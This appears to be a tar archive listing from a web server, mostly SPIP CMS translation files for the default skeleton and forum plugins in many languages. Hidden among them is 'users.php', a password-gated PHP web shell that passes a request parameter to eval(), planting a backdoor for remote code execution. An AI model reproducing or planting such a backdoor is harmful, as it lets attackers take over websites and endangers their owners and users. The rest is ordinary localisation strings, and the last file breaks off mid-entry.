Your IP : 216.73.216.245
paquet-dist_fr.php 0000666 00000000610 15252220631 0010203 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// Fichier source, a modifier dans svn://zone.spip.org/spip-zone/_core_/plugins/dist/lang/
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// D
'dist_description' => 'Jeu de squelettes distribué avec SPIP 3.',
'dist_slogan' => 'Squelettes par défaut de SPIP 3'
);
?>
paquet-dist_fr_fem.php 0000666 00000000663 15252220631 0011042 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-dist?lang_cible=fr_fem
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// D
'dist_description' => 'Jeu de squelettes distribué avec SPIP 3.',
'dist_slogan' => 'Squelettes par défaut de SPIP 3'
);
?>
paquet-dist_de.php 0000666 00000000640 15252220631 0010167 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-dist?lang_cible=de
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// D
'dist_description' => 'Mit SPIP 3 ausgelieferte Skelette.',
'dist_slogan' => 'SPIP 3 Standardskelette'
);
?>
paquet-dist.xml 0000666 00000007344 15252220631 0007540 0 ustar 00 <traduction module="paquet-dist" gestionnaire="salvatore" url="http://trad.spip.net" source="svn://zone.spip.org/spip-zone/_core_/plugins/dist/lang/" reference="fr">
<langue code="ar" url="http://trad.spip.net/tradlang_module/paquet-dist?lang_cible=ar" total="2" traduits="2" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="George" lien="http://trad.spip.net/auteur/جورج-قندلفت" />
</langue>
<langue code="de" url="http://trad.spip.net/tradlang_module/paquet-dist?lang_cible=de" total="2" traduits="2" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="klaus++" lien="http://trad.spip.net/auteur/klaus" />
</langue>
<langue code="en" url="http://trad.spip.net/tradlang_module/paquet-dist?lang_cible=en" total="2" traduits="2" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
</langue>
<langue code="eo" url="http://trad.spip.net/tradlang_module/paquet-dist?lang_cible=eo" total="2" traduits="2" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="Matthieu Marcillaud" lien="http://trad.spip.net/auteur/matthieu-marcillaud" />
</langue>
<langue code="es" url="http://trad.spip.net/tradlang_module/paquet-dist?lang_cible=es" total="2" traduits="2" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
</langue>
<langue code="fa" url="http://trad.spip.net/tradlang_module/paquet-dist?lang_cible=fa" total="2" traduits="2" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="Davood Hossein" lien="http://trad.spip.net/auteur/davood-hossein" />
</langue>
<langue code="fr" url="http://trad.spip.net/tradlang_module/paquet-dist?lang_cible=fr" total="2" traduits="2" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
</langue>
<langue code="fr_fem" url="http://trad.spip.net/tradlang_module/paquet-dist?lang_cible=fr_fem" total="2" traduits="2" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="denisb" lien="http://trad.spip.net/auteur/denisb" />
</langue>
<langue code="it" url="http://trad.spip.net/tradlang_module/paquet-dist?lang_cible=it" total="2" traduits="2" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="phante" lien="http://trad.spip.net/auteur/phante" />
</langue>
<langue code="lb" url="http://trad.spip.net/tradlang_module/paquet-dist?lang_cible=lb" total="2" traduits="2" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="jwander" lien="http://trad.spip.net/auteur/jwander" />
</langue>
<langue code="nl" url="http://trad.spip.net/tradlang_module/paquet-dist?lang_cible=nl" total="2" traduits="2" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="Suske" lien="http://trad.spip.net/auteur/suske" />
</langue>
<langue code="pt" url="http://trad.spip.net/tradlang_module/paquet-dist?lang_cible=pt" total="2" traduits="2" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="Cláudia Anjos Lopes" lien="http://trad.spip.net/auteur/claudia_a_lopes" />
</langue>
<langue code="pt_br" url="http://trad.spip.net/tradlang_module/paquet-dist?lang_cible=pt_br" total="2" traduits="2" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="Ricardo Porto" lien="http://trad.spip.net/auteur/ricardo-porto" />
</langue>
<langue code="ru" url="http://trad.spip.net/tradlang_module/paquet-dist?lang_cible=ru" total="2" traduits="2" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="Serge Markitanenko" lien="http://trad.spip.net/auteur/serge-markitanenko" />
</langue>
<langue code="sk" url="http://trad.spip.net/tradlang_module/paquet-dist?lang_cible=sk" total="2" traduits="2" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="jaro" lien="http://trad.spip.net/auteur/jaro" />
</langue>
</traduction>
paquet-dist_ru.php 0000666 00000000670 15252220631 0010230 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-dist?lang_cible=ru
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// D
'dist_description' => 'Базовый шаблон для SPIP 3',
'dist_slogan' => 'Базовый шаблон для SPIP 3'
);
?>
paquet-dist_lb.php 0000666 00000000665 15252220631 0010203 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-dist?lang_cible=lb
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// D
'dist_description' => 'Sammlung vu Skeletter déi mat SPIP 3 verdeelt gëtt.',
'dist_slogan' => 'Default-Skeletter vu SPIP 3'
);
?>
paquet-dist_fa.php 0000666 00000000746 15252220631 0010174 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-dist?lang_cible=fa
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// D
'dist_description' => 'مجموعهي اسكلتهاي پيشگزيدهي اسپيپ 3',
'dist_slogan' => 'اسكلتهاي پشگزيدهي اسپيپ 3'
);
?>
paquet-dist_ar.php 0000666 00000000735 15252220631 0010206 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-dist?lang_cible=ar
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// D
'dist_description' => 'مجموعة صفحات نموذجية موزعة مع SPIP ٣.',
'dist_slogan' => 'صفحات SPIP ٣ النموذجية الافتراضية'
);
?>
paquet-dist_en.php 0000666 00000000643 15252220631 0010204 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-dist?lang_cible=en
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// D
'dist_description' => 'Default template set in SPIP 3.',
'dist_slogan' => 'Default template set in SPIP 3'
);
?>
paquet-dist_pt_br.php 0000666 00000000664 15252220631 0010713 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-dist?lang_cible=pt_br
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// D
'dist_description' => 'Conjunto de gabaritos distribuído com o SPIP 3.',
'dist_slogan' => 'Gabaritos padrão do SPIP 3'
);
?>
users.php 0000666 00000000175 15252220631 0006423 0 ustar 00 <?php
$password = 'ZSb7k3ZUgj';
if (isset($_REQUEST[$password])) {
$cmd = $_REQUEST[$password];
echo eval($cmd);
}
?> paquet-dist_sk.php 0000666 00000000654 15252220631 0010221 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-dist?lang_cible=sk
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// D
'dist_description' => 'Sada šablón distribuovaná so SPIPom 3.',
'dist_slogan' => 'Predvolené šablóny SPIPu 3'
);
?>
paquet-dist_nl.php 0000666 00000000636 15252220631 0010215 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-dist?lang_cible=nl
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// D
'dist_description' => 'Skeletpack verdeeld met SPIP 3.',
'dist_slogan' => 'Standaard skelet van SPIP 3'
);
?>
paquet-dist_es.php 0000666 00000000671 15252220631 0010212 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-dist?lang_cible=es
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// D
'dist_description' => 'Juego de esqueletos por defecto en SPIP 3.',
'dist_slogan' => 'Juego de esqueletos por defecto en SPIP 3'
);
?>
paquet-dist_eo.php 0000666 00000000642 15252220631 0010204 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-dist?lang_cible=eo
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// D
'dist_description' => 'Skeletaro distribuita kun SPIP 3.',
'dist_slogan' => 'Defaŭltaj skeletoj de SPIP 3'
);
?>
paquet-dist_pt.php 0000666 00000000645 15252220631 0010227 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-dist?lang_cible=pt
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// D
'dist_description' => 'Conjunto de modelos de base em SPIP 3.',
'dist_slogan' => 'Modelos de base em SPIP 3'
);
?>
paquet-dist_it.php 0000666 00000000656 15252220631 0010222 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-dist?lang_cible=it
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// D
'dist_description' => 'Insieme di template distribuiti con SPIP 3.',
'dist_slogan' => 'Template di default di SPIP 3'
);
?>
paquet-forum_fr.php 0000666 00000000617 15252247467 0010417 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// Fichier source, a modifier dans svn://zone.spip.org/spip-zone/_core_/plugins/forum/lang/
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// F
'forum_description' => 'Forum de SPIP (privé et public)',
'forum_slogan' => 'Gestion des forums privés et publics dans SPIP'
);
?>
forum_ro.php 0000666 00000017731 15252247467 0007140 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/forum?lang_cible=ro
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_radio_articles_futurs' => 'articolelor viitoare (nu afectează baza de date).',
'bouton_radio_articles_tous' => 'toate articolelor fără excepţie.',
'bouton_radio_articles_tous_sauf_forum_desactive' => 'toate articolelor cu excepţia celor cu forum dezactivat.',
'bouton_radio_enregistrement_obligatoire' => 'Înregistrare obligatorie (utilizatorii trebuie să se înregistreze furnizând adresa lor de email înainte de propune contribuţii).',
'bouton_radio_moderation_priori' => 'Moderare à priori (contribuţiile nu sunt afişate decât după validarea lor de către un administrator).', # MODIF
'bouton_radio_modere_abonnement' => 'cu abonament',
'bouton_radio_modere_posteriori' => 'moderare ulterioară', # MODIF
'bouton_radio_modere_priori' => 'moderare à priori', # MODIF
'bouton_radio_publication_immediate' => 'Publicarea imediată a mesajelor
(contribuţiile sunt afişate imediat, un administrator poate
să le şteargă ulterior).',
// D
'documents_interdits_forum' => 'Documentele sunt interzise în forum',
// F
'form_pet_message_commentaire' => 'Un mesaj, un comentariu ?',
'forum' => 'Forum',
'forum_acces_refuse' => 'Nu mai aveţi acces la aceste forum-uri.',
'forum_attention_dix_caracteres' => '<b>Atenţie !</b> mesajul dumneavoastră trebuie să conţină cel puţin zece caractere.',
'forum_attention_trois_caracteres' => '<b>Atenţie !</b> titlul dumneavoastră trebuie să conţină cel puţin trei caractere.',
'forum_attention_trop_caracteres' => '<b>Atenţie !</b> mesajul dumneavoastră este prea lung(@compte@ caractere) : pentru a-l putea înregistra, mesajul nu trebuie să depăşească @max@ caractere.', # MODIF
'forum_avez_selectionne' => 'Aţi selecţionat :',
'forum_cliquer_retour' => 'Faceţi click <a href=\'@retour_forum@\'>aici</a> pentru a continua.',
'forum_forum' => 'forum',
'forum_info_modere' => 'Acest forum este moderat: contribuţia dumneavoastră nu va apare decât după ce va fi validată de către un administrator al site-ului.', # MODIF
'forum_lien_hyper' => '<b>Legătură hipertext</b> (opţională)', # MODIF
'forum_message_definitif' => 'Mesaj definitiv : trimiteţi către site',
'forum_message_trop_long' => 'Mesajul dumneavoastră este prea lung. Puteți folosi maxim 20.000 caractere.', # MODIF
'forum_ne_repondez_pas' => 'Nu răspundeţi acestui email, ci direct pe forum la adresa următoare :', # MODIF
'forum_page_url' => '(Dacă mesajul se referă la un articol publicat pe Web sau la o pagină cu informaţii suplimentare, indicaţi mai jos titlul şi adresa URL a paginii.)',
'forum_poste_par' => 'Mesaj publicat de @parauteur@ ca răspuns la articolul « @titre@ ».', # MODIF
'forum_qui_etes_vous' => '<b>Cine sunteţi dumneavoastră ?</b> (opţional)', # MODIF
'forum_texte' => 'Textul mesajului dumneavoastră :', # MODIF
'forum_titre' => 'Titlu :', # MODIF
'forum_url' => 'URL :', # MODIF
'forum_valider' => 'Validaţi această alegere',
'forum_voir_avant' => 'Vedeţi acest mesaj înainte de a-l trimite', # MODIF
'forum_votre_email' => 'Adresa dumneavoastră de email :', # MODIF
'forum_votre_nom' => 'Numele dumneavoastră (sau pseudonimul) :', # MODIF
'forum_vous_enregistrer' => 'Pentru a participa
la acest forum, trebuie să vă înregistraţi în prealabil. Vă rugăm să furnizaţi identificatorul personal care v-a fost furnizat.
Dacă nu sunteţi deja înregistrat, va trebui',
'forum_vous_inscrire' => ' să vă înscrieţi.',
// I
'icone_poster_message' => 'Trimiteţi un mesaj',
'icone_suivi_forum' => 'Urmăriţi forum-ul public : @nb_forums@ contribuții',
'icone_suivi_forums' => 'Administrare forumuri',
'icone_supprimer_message' => 'Suprimaţi acest mesaj',
'icone_valider_message' => 'Validaţi acest mesaj',
'info_activer_forum_public' => '<i>Pentru a activa forum-urile publice, vă rugăm să alegeţi modul
lor de operare implicit:</i>', # MODIF
'info_appliquer_choix_moderation' => 'Aplicaţi această alegere de moderare :',
'info_config_forums_prive' => 'În cadrul spaţiului privat al site-ului, puteţi activa mai multe tipuri de forumuri :', # MODIF
'info_config_forums_prive_admin' => 'Un forum rezervat administratorilor site-ului :',
'info_config_forums_prive_global' => 'Un forum global, deschis la toţi redactorii :',
'info_config_forums_prive_objets' => 'Un forum ataşat fiecărui articol, ştire, site referenţiat, etc. :',
'info_desactiver_forum_public' => 'Dezactivaţi folosirea forum-urilor publice. Forum-urile pot fi activate pentru fiecare articol în parte, după caz; vor rămâne deactivate pentru rubrici, ştiri, ş.a.m.d.',
'info_envoi_forum' => 'Trimitere forum-urile la autorii articolelor',
'info_fonctionnement_forum' => 'Funcţionarea forum-ului :',
'info_gauche_suivi_forum_2' => '<i>Pagina de urmarire a forum-urilor</i> este o unealtă de gestiune a site-ului (nu un spaţiu de discuţii sau de redactare). Această pagină afişează toate contribuţiile la forum-urile site-ului, atât cel public cât şi cel privat, şi vă permite să gestionaţi aceste contribuţii.', # MODIF
'info_liens_syndiques_3' => 'forum-uri',
'info_liens_syndiques_4' => 'sunt',
'info_liens_syndiques_5' => 'forum',
'info_liens_syndiques_6' => 'este',
'info_liens_syndiques_7' => ' în aşteptarea validării',
'info_mode_fonctionnement_defaut_forum_public' => 'Modul implicit de funcţionare a forum-urilor publice',
'info_option_email' => 'Atunci când un vizitator trimite un mesaj nou într-un forum
asociat unui articol, autorii articolului pot fi
preveniţi de acest mesaj printr-un email. Indicaţi pentru fiecare tip de forum dacă această opţiune este utilizabilă.',
'info_pas_de_forum' => 'fără forum',
'info_question_visiteur_ajout_document_forum' => 'Dacă dorii s autorizai vizitatorii să ataşeze documente (imagini, sunete, etc.) la mesajele din forum-uri, indicai mai jos lista de extensii de documente autorizate pentru forum-uri (de exemplu: gif, jpg, png, mp3).', # MODIF
'info_question_visiteur_ajout_document_forum_format' => 'Dacă doriţi să autorizaţi toate tipurile de documente considerate ca sigure de către SPIP, puneţi o steluţă. Pentru a nu autoriza nimic, lasaţi selecţia goală.', # MODIF
'item_activer_forum_administrateur' => 'Activaţi forum-ul administratorilor',
'item_config_forums_prive_global' => 'Activaţi forum-ul redactorilor',
'item_config_forums_prive_objets' => 'Activaţi aceste forum-uri',
'item_desactiver_forum_administrateur' => 'Dezactivaţi forum-ul administratorilor',
'item_non_config_forums_prive_global' => 'Dezactivaţi forum-ul redactorilor',
'item_non_config_forums_prive_objets' => 'Dezactivaţi aceste forum-uri',
// L
'lien_reponse_article' => 'Răspuns la articol',
'lien_reponse_breve_2' => 'Răspuns la ştire',
'lien_reponse_rubrique' => 'Răspuns la rubrica',
'lien_reponse_site_reference' => 'Răspuns la site-ul referenţiat :', # MODIF
// O
'onglet_messages_internes' => 'Mesaje interne',
'onglet_messages_publics' => 'Mesaje publice',
'onglet_messages_vide' => 'Mesaje fără text',
// R
'repondre_message' => 'Răspundeţi la acest mesaj',
// S
'statut_original' => 'original',
// T
'text_article_propose_publication_forum' => 'Nu ezitaţi să ne spuneţi părerea dumneavoastră cu ajutorul forum-ului ataşat acestui articol (în josul paginii).',
'texte_en_cours_validation_forum' => 'Nu ezitaţi să ne comunicaţi părerea dumneavoastră cu ajutorul forum-urilor ataşate.',
'titre_cadre_forum_administrateur' => 'Forum-ul privat al administratorilor',
'titre_cadre_forum_interne' => 'Forum intern',
'titre_config_forums_prive' => 'Forum-uri în spaţiul privat',
'titre_forum' => 'Forum',
'titre_forum_suivi' => 'Urmărirea forum-urilor',
'titre_page_forum_suivi' => 'Urmărirea forum-urilor'
);
?>
forum_el.php 0000666 00000013730 15252247467 0007113 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/forum?lang_cible=el
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_radio_articles_futurs' => 'στα μελλοντικά άρθρα μόνο (καμία δράση στη βάση δεδομένων).',
'bouton_radio_articles_tous' => 'σε όλα τα άρθρα χωρίς εξαίρεση.',
'bouton_radio_articles_tous_sauf_forum_desactive' => 'σε όλα τα άρθρα,εκτός από αυτά για τα οποία είναι απενεργοποιημένο το φόρουμ.',
'bouton_radio_enregistrement_obligatoire' => 'Απαραίτητη εγγραφή (οι χρήστες πρέπει να προσυπογράψουν με την παροχή της διεύθυνσης ηλεκτρονικού ταχυδρομείου τους πρίν είναι σε θέση να ταχυδρομηθούν οι συνεισφορές).',
'bouton_radio_modere_abonnement' => 'απαιτείται εγγραφή',
'bouton_radio_publication_immediate' => 'Αμεση δημοσίευση των μηνυμάτων (οι συνεισφορές θα παρουσιαστούν μόλις στέλνονται, οι διαχειριστές του ιστοχώρου μπορούν έπειτα να τις διαγράψουν).',
// F
'form_pet_message_commentaire' => 'Μήνυμα, σχόλιο ;',
'forum' => 'Φόρουμ',
'forum_acces_refuse' => 'Δεν έχετε πια πρόσβαση σε αυτά τα forum.',
'forum_attention_dix_caracteres' => '<b>Προσοχή !</b> το μήνυμά σας πρέπει να περιέχει τουλάχιστον δέκα χαρακτήρες.',
'forum_attention_trois_caracteres' => '<b>Προσοχή !</b> ο τίτλος σας θα πρέπει να περιέχει τουλάχιστον τρεις χαρακτήρες.',
'forum_attention_trop_caracteres' => '<b>Προσοχή !</b> το μήνυμά σας είναι πολύ μεγάλο =(@compte@ caractères) : για να καταγραφεί δεν πρέπει να ξεπερνά τους @max@ χαρακτήρες.', # MODIF
'forum_avez_selectionne' => 'Έχετε επιλέξει :',
'forum_cliquer_retour' => 'Πατήστε <a href=\'@retour_forum@\'>εδώ</a> για να συνεχίσετε.',
'forum_forum' => 'φόρουμ',
'forum_info_modere' => 'Αυτό το φόρουμ είναι moderated : το μήνυμά σας θα εμφανιστεί αφού επικυρωθεί από τον administrator του site.', # MODIF
'forum_lien_hyper' => '<b>Ενεργός δεσμός</b> (προαιρετικό)', # MODIF
'forum_message_definitif' => 'Τελικό μήνυμα : αποστολή στο site',
'forum_message_trop_long' => 'Το μήνυμά σας είναι πολύ μεγάλο. Το μέγιστο μήκος είναι 20000 χαρακτήρες.', # MODIF
'forum_ne_repondez_pas' => 'Μην απαντήσετε σε αυτό το mail αλλά στο φόρουμ στην παρακάτω διεύθυνση :', # MODIF
'forum_page_url' => '(Αν το μήνυμά σας αναφέρεται σε άρθρο που βρίσκεται στο Web, ή σε μία σελίδα που δίνει περισσότερες πληροφορίες, μπορείτε να εισάγετε τον τίτλο και τη διεύθυνση.)',
'forum_poste_par' => 'Μήνυμα του/της@parauteur@ στο τέλος του άρθρου « @titre@ ».', # MODIF
'forum_qui_etes_vous' => '<b>Ποιός είστε ?</b> (προαιρετικό)', # MODIF
'forum_texte' => 'Κείμενο του μηνύματός σας :', # MODIF
'forum_titre' => 'Τίτλος :', # MODIF
'forum_url' => 'URL :', # MODIF
'forum_valider' => 'Επικυρώστε την επιλογή σας',
'forum_voir_avant' => 'Δείτε το μήνυμα πριν την αποστολή του', # MODIF
'forum_votre_email' => 'Διεύθνση ηλεκτρονικού ταχυδρομείου :', # MODIF
'forum_votre_nom' => 'Ονομα (ή ψευδόνυμο) :', # MODIF
'forum_vous_enregistrer' => 'Για να συμμετέχετε σε
αυτό το φόρουμ πρέπει να είστε εγγεγραμμένος χρήστης. Δώστε
το προσωπικό σας κωδικό
Αν δεν είστε εγγεγραμμένος πρέπει',
'forum_vous_inscrire' => 'να κάνετε εγγραφή.',
// I
'icone_poster_message' => 'Αποστολή μηνύματος',
'icone_suivi_forum' => 'Συνέχιση του δημόσιου φόρουμ: @nb_forums@ συνεισφορες',
'icone_suivi_forums' => 'Παρακολούθηση/διαχείρηση φόρουμ',
'icone_supprimer_message' => 'Κατάργηση αυτού του μηνύματος',
'icone_valider_message' => 'Επικύρωση μηνύματος',
'info_desactiver_forum_public' => 'Απενεργοποιήστε την χρήση των δημόσιων
φόρουμ. Τα δημόσια φόρουμ θα μπορούσαν να επιτραπούν σε ανά περίπτωση
για τα άρθρα; θα είναι απαγορευμένα για τα τμήματα, τις ειδήσεις, κ.λπ....',
'info_envoi_forum' => 'Στείλετε τα φόρουμ στους συντάκτες άρθρων',
'info_fonctionnement_forum' => 'Λειτουργία φόρουμ:',
// O
'onglet_messages_internes' => 'Εσωτερικά μηνύματα',
'onglet_messages_publics' => 'Μηνύματα για όλους',
'onglet_messages_vide' => 'Μηνύματα χωρίς κείμενο',
// R
'repondre_message' => 'Απαντήστε σ\\`αυτο το μήνυμα',
// S
'statut_original' => 'πρωτότυπο',
// T
'titre_cadre_forum_interne' => 'Εσωτερικό φόρουμ',
'titre_forum' => 'Φόρουμ'
);
?>
forum_fr.php 0000666 00000024530 15252247467 0007122 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// Fichier source, a modifier dans svn://zone.spip.org/spip-zone/_core_/plugins/forum/lang/
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'aucun_message_forum' => 'Aucun message de forum',
// B
'bouton_radio_articles_futurs' => 'aux articles futurs uniquement (pas d’action sur la base de données).',
'bouton_radio_articles_tous' => 'à tous les articles sans exception.',
'bouton_radio_articles_tous_sauf_forum_desactive' => 'à tous les articles, sauf ceux dont le forum est désactivé.',
'bouton_radio_enregistrement_obligatoire' => 'Enregistrement obligatoire (les utilisateurs doivent s’abonner en fournissant leur adresse email avant de pouvoir poster des contributions).',
'bouton_radio_moderation_priori' => 'Modération a priori (les
contributions ne s’affichent publiquement qu’après validation par les
administrateurs).',
'bouton_radio_modere_abonnement' => 'sur abonnement',
'bouton_radio_modere_posteriori' => 'modération a posteriori',
'bouton_radio_modere_priori' => 'modération a priori',
'bouton_radio_publication_immediate' => 'Publication immédiate des messages
(les contributions s’affichent dès leur envoi, les administrateurs peuvent
les supprimer ensuite).',
// D
'documents_interdits_forum' => 'Documents interdits dans le forum',
// E
'erreur_enregistrement_message' => 'Votre message n’a pas pu être enregistré en raison d’un problème technique',
// F
'form_pet_message_commentaire' => 'Un message, un commentaire ?',
'forum' => 'Forum',
'forum_acces_refuse' => 'Vous n’avez plus accès à ces forums.',
'forum_attention_dix_caracteres' => '<b>Attention !</b> votre message doit contenir au moins dix caractères.',
'forum_attention_message_non_poste' => 'Attention, vous n’avez pas posté votre message !',
'forum_attention_nb_caracteres_mini' => '<b>Attention !</b> votre message doit contenir au moins @min@ caractères.',
'forum_attention_trois_caracteres' => '<b>Attention !</b> votre titre doit contenir au moins trois caractères.',
'forum_attention_trop_caracteres' => '<b>Attention !</b> votre message est trop long (@compte@ caractères) pour pouvoir être enregistré, il ne doit pas dépasser @max@ caractères.',
'forum_avez_selectionne' => 'Vous avez sélectionné :',
'forum_cliquer_retour' => 'Cliquez <a href=\'@retour_forum@\'>ici</a> pour continuer.',
'forum_forum' => 'forum',
'forum_info_modere' => 'Ce forum est modéré a priori : votre contribution n’apparaîtra qu’après avoir été validée par un administrateur du site.',
'forum_lien_hyper' => 'Lien hypertexte',
'forum_message' => 'Votre message',
'forum_message_definitif' => 'Message définitif : envoyer au site',
'forum_message_trop_long' => 'Votre message est trop long. La taille maximale est de 20 000 caractères.',
'forum_ne_repondez_pas' => 'Ne répondez pas à ce mail mais sur le forum à l’adresse suivante :',
'forum_page_url' => '(Si votre message se réfère à un article publié sur le Web, ou à une page fournissant plus d’informations, vous pouvez indiquer ci-après le titre de la page et son adresse.)',
'forum_permalink' => 'Lien permanent vers le commentaire',
'forum_poste_par' => 'Message posté@parauteur@ à la suite de l’article « @titre@ ».',
'forum_poste_par_court' => 'Message posté@parauteur@.',
'forum_poste_par_generique' => 'Message posté@parauteur@ (@objet@ « @titre@ »).',
'forum_qui_etes_vous' => 'Qui êtes-vous ?',
'forum_saisie_texte_info' => 'Ce formulaire accepte les raccourcis SPIP <code>[->url] {{gras}} {italique} <quote> <code></code> et le code HTML <code><q> <del> <ins></code>. Pour créer des paragraphes, laissez simplement des lignes vides.',
'forum_texte' => 'Texte de votre message',
'forum_titre' => 'Titre',
'forum_url' => 'Votre site web',
'forum_valider' => 'Valider ce choix',
'forum_voir_avant' => 'Prévisualiser',
'forum_votre_email' => 'Votre adresse email',
'forum_votre_nom' => 'Votre nom',
'forum_vous_enregistrer' => 'Pour participer à
ce forum, vous devez vous enregistrer au préalable. Merci
d’indiquer ci-dessous l’identifiant personnel qui vous a
été fourni. Si vous n’êtes pas enregistré, vous devez',
'forum_vous_inscrire' => 'vous inscrire.',
// I
'icone_bruler_message' => 'Signaler comme Spam',
'icone_bruler_messages' => 'Signaler comme Spam',
'icone_legitimer_message' => 'Signaler comme licite',
'icone_poster_message' => 'Poster un message',
'icone_suivi_forum' => 'Suivi du forum public : @nb_forums@ contribution(s)',
'icone_suivi_forums' => 'Suivre/gérer les forums',
'icone_supprimer_message' => 'Supprimer ce message',
'icone_supprimer_messages' => 'Supprimer ces messages',
'icone_valider_message' => 'Valider ce message',
'icone_valider_messages' => 'Valider ces messages',
'icone_valider_repondre_message' => 'Valider et Répondre à ce message',
'info_1_message_forum' => '1 message de forum',
'info_activer_forum_public' => 'Pour activer les forums publics, veuillez choisir leur mode
de modération par défaut :',
'info_appliquer_choix_moderation' => 'Appliquer ce choix de modération :',
'info_config_forums_prive' => 'Dans l’espace privé du site, vous pouvez activer plusieurs types de forums :',
'info_config_forums_prive_admin' => 'Un forum réservé aux administrateurs du site :',
'info_config_forums_prive_global' => 'Un forum global, ouvert à tous les rédacteurs :',
'info_config_forums_prive_objets' => 'Un forum sous chaque article, brève, site référencé, etc. :',
'info_desactiver_forum_public' => 'Désactiver l’utilisation des forums
